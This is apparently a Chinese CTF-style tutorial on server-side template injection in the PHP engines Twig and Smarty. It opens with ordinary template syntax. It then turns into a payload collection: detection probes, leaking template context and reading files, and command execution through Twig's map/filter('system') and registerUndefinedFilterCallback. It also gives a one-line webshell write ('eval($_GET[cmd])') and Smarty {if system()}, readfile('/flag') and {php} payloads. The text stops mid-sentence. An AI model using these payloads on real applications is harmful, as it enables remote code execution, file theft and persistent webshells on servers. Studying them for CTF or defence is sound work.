twig与smarty模板的ssti

模板介绍:

TwigSmarty 都是 PHP 语言的模板引擎

简单说,它们的作用是:把 HTML 代码和 PHP 逻辑分开,让代码更整洁、更安全

1
2
3
4
5
6
7
8
9
没有模板引擎时的混乱写法:
<?php if($user): ?>
<h1><?php echo $user['name']; ?></h1>
<?php endif; ?>

使用模板引擎后(HTML 纯模板):
{% if user %}
<h1>{{ user.name }}</h1>
{% endif %}

核心语法:

Twig:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
1.{# Twig 语法 #}    注释语法
------------------
2.{{ variable }} 把 PHP 传递过来的变量计算并输出到 HTML 页面上,关键点:{{ ... }} 里的内容会被执行,结果会替换掉这组双花括号
------------------
3.{% if condition %} {# 控制结构 #}
作用:实现 if/elsefor 循环等逻辑控制。这部分负责决定“显示什么”或“重复显示什么”,但它本身不输出内容。
关键点:使用 {% ... %} 定界符,通常需要配合 {% endif %} 或 {% endfor %} 来结束。

场景举例:根据用户的 loginStatus(登录状态)显示不同的欢迎语
twig:
{% if loginStatus == 'logged_in' %}
<p>欢迎回来,{{ username }}!</p>
{% else %}
<p>您好,游客。请先<a href="/login">登录</a>。</p>
{% endif %}
---------------------
4.{{ name|upper }} {# 过滤器 #}
作用:在变量输出到页面之前,通过一个“过滤器”修改它的显示结果。
关键点:使用竖线 | 连接变量和过滤器。也可以串联多个过滤器,如 {{ name|lower|capitalize }}。
场景举例:确保所有用户名在页面上都以全大写形式显示,用于强调

twig:
<p>重要通知:您的账户名 {{ name|upper }} 已注册成功。</p>
------------------------------------------------------------------------------------------------------------
Twig 使用不同的定界符来区分 HTML 和模板逻辑,你可以把它们理解为“特殊的标记”,告诉 Twig 引擎哪部分是普通 HTML,哪部分是需要执行的动态代码

smarty:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
1.{$variable}           {# 输出变量(单花括号) #}
输出变量:{$variable}
作用:把 PHP 传递过来的变量直接输出到 HTML 页面上
关键点:Smarty 用单花括号加美元符 {$ ... },Twig 用双花括号 {{ ... }}。
场景举例:后端 PHP 代码传入一个叫 username 的变量,值为 "张三"

smarty:
<h1>欢迎您,{$username}!</h1>
------------------------------------
2.{if $condition} {# 控制结构 #}
作用:在模板里写 if/else 判断或 foreach 循环,控制 HTML 的显示逻辑。
关键点:Smarty 用 {if ...} 和 {/if} 作为开始和结束标记。Twig 则用 {% if ... %} 和 {% endif %}。
场景举例:根据用户的 is_logged_in 状态,显示不同的内容。

smarty:
{if $is_logged_in}
<p>欢迎回来,{$username}!</p>
{else}
<p>您好,游客。请先 <a href="/login">登录</a>。</p>
{/if}
---------------------------------
3.{$name|upper} {# 变量修饰器 #}
作用:在变量输出前,通过“修饰器”修改它的显示效果,功能和 Twig 的“过滤器”一模一样。
关键点:同样使用竖线 | 连接变量和修饰器。Smarty 叫“修饰器”,Twig 叫“过滤器”。
场景举例:确保用户名在页面上以全大写形式显示

smarty:
<p>系统提示:您的账户名 {$name|upper} 已创建。</p>

Twig

Twig 与 Jinja2 利用方式的本质区别

对比维度 Jinja2 (Python) Twig (PHP)
利用核心 __class__.__mro__[2].__subclasses__() _self.env 环境变量 + 回调函数注册
为何不同 Python 中一切皆对象,可通过类继承链找到 os 模块 Twig 无法调用静态方法,也没有 __class__
命令执行方式 找到 os.systemsubprocess.Popen 注册 execsystem 为过滤器后调用

核心结论:Twig 的利用突破口是 _self.env 这个环境变量,它暴露了 Twig 内部的方法。

基础探测:(确认模板)

1
2
3
{{7*7}}                    # 返回 49 → SSTI 存在
{{"7"*7}} # 返回 49(PHP 特性,不是字符串重复)
{{[1,2,3][0]}} # 返回 1 → 数组访问正常

信息泄露

Twig 3.x

1
2
3
4
5
6
7
8
9
10
11
1.{{_context}}               # 输出当前模板上下文中所有可用的变量(包括 PHP 后端传递过来的数据)
示例:
如果后端传递了敏感数据(如数据库密码、API 密钥、flag),可以直接暴露:
{{ _context.db_password }}
{{ _context.flag }}

{{_context|keys}} - 查看变量名列表
可能返回情况:['app', 'request', 'user', 'session', 'flag', ...]
---------------------------
3.{{_self}} # 查看模板对象信息
{{_self}} 在 Twig 模板中代表当前模板对象本身

Twig 2.x

1
2
3
4
5
6
7
{{_self.env.globals}}                    # 获取全局变量
_self 当前模板对象
_self.env Twig 核心环境对象
_self.env.globals 环境对象中存储的全局变量数组
---------------------------------------------------
{{_self.env.getTemplate("index.php")}} # 读取文件
getTemplate() 是 Twig 环境对象的一个方法,本意是加载一个模板文件。但如果传入一个普通文件(如 index.php),Twig 会尝试读取并返回该文件的内容

命令执行

Twig 3.x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 方法一:map + system(最稳定)
{{['whoami']|map('system')}}

# 方法二:map + passthru
{{['whoami']|map('passthru')}}

# 方法三:filter + system
{{['whoami']|filter('system')}}

# 方法四:map + exec
{{['whoami']|map('exec')}}
--------------------------------------------------
map:它的作用是 “映射”。它会遍历数组中的每一个元素,对每个元素都执行一次你指定的函数,然后返回一个包含所有处理结果的新数组

filter:它的作用是 “过滤”。它会遍历数组中的每一个元素,用你指定的函数来测试每个元素,只保留那些测试结果为真的元素

示例解释:
['whoami']:这是一个只包含一个字符串元素 'whoami' 的数组。
|map('system'):map 过滤器会遍历这个数组,对数组里的每一个元素(也就是 'whoami' 这个字符串),去调用 PHP 的 system() 函数

执行流程:
map 拿到数组的第一个(也是唯一一个)元素:'whoami'。

map 执行 system('whoami')。

服务器执行命令,返回用户名。

map 把执行结果放进一个新数组里。

最终效果:system('whoami') 被执行,命令成功运行。因为 system 函数会直接输出结果,所以你就能在页面上看到命令的执行结果
-------------------------------------------------
{{['whoami']|filter('system')}}
这是最容易混淆的一个。filter 的本意是 “过滤”,而不是执行

['whoami']:同样是包含 'whoami' 字符串的数组。

|filter('system'):filter 过滤器会遍历数组,用 system() 函数来测试每个元素。

执行流程(关键区别在这里):
filter 拿到元素 'whoami'。

filter 执行 system('whoami') 来测试。它会把这个字符串 'whoami' 作为参数传给 system 函数。

命令确实会执行,这是我们要的结果。

然后,filter 会检查 system('whoami') 的返回值。在 PHP 中,命令执行成功通常返回最后一行输出,或者非 false 值。

因为返回值不是 false,所以 filter 认为 'whoami' 这个元素通过了测试,于是把它保留在新数组中。

最终,filter 返回的新数组里,依然包含 'whoami' 这个字符串,而不是命令的执行结果。

Twig 2.x(经典利用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 第 1 步:获取环境对象(验证)
{{_self.env}}

# 第 2 步:注册危险函数为"未定义过滤器"的回调
{{_self.env.registerUndefinedFilterCallback("system")}}

-----------------------------------------
Twig 允许开发者自定义过滤器。当你在模板中使用一个过滤器时,Twig 会去查找这个过滤器是否已定义:

twig:
{{ "hello"|upper }} {# upper 是已定义的过滤器,正常工作 #}
如果你使用了一个不存在的过滤器:

twig
{{ "hello"|hack }} {# hack 过滤器不存在,Twig 会报错 #}

registerUndefinedFilterCallback 的作用就是:让你可以指定一个“备用方案” —— 当遇到不存在的过滤器时,不要报错,而是去调用你指定的这个函数
-------------------------------------------------------
# 第 3 步:触发回调,执行命令
{{_self.env.getFilter("whoami")}}

1.尝试获取名为 whoami 的过滤器

2.Twig 发现 whoami 过滤器不存在

3.触发之前注册的回调:调用 system("whoami")

4.系统执行命令,返回当前用户名

5.返回值:命令执行的结果

写webshell

1
2
3
{{_self.env.registerUndefinedFilterCallback("system")}}

{{_self.env.getFilter("echo '<?php eval($_GET[cmd]);?>' > shell.php")}}

smarty

Smarty 是 PHP 生态中最经典的模板引擎之一,在 CTF 中频繁出现。与 Twig 不同,Smarty 的利用方式更加直接——它的 {if} 标签允许直接调用任意 PHP 函数

版本探测

1
{$smarty.version}

命令执行

方法一:{if} 标签直接执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 执行 phpinfo()
{if phpinfo()}{/if}

# 执行系统命令(system)
{if system('whoami')}{/if}

# 执行系统命令(passthru)
{if passthru('whoami')}{/if}

# 读取文件
{if readfile('/flag')}{/if}

# 读取文件(另一种方式)
{if file_get_contents('/flag')}{/if}

# 显示源码
{if show_source('/flag')}{/if}

方法二:{php} 标签(仅旧版本可用)

在 Smarty 3.0 及更早版本中,{php} 标签允许直接嵌入 PHP 代码。

1
2
3
{php}
system('whoami');
{/php}

方法三:{literal} 标签 + PHP 标签(PHP 5 环境)

在 PHP 5 环境中,可以通过 {literal} 标签包裹 PHP 的 <script> 标签来执行代码:

smarty

1
2
3
{literal}
<script language="php">phpinfo();</script>
{/literal}

注意:这个方法在 PHP 7 中已失效(PHP 7 移除了 `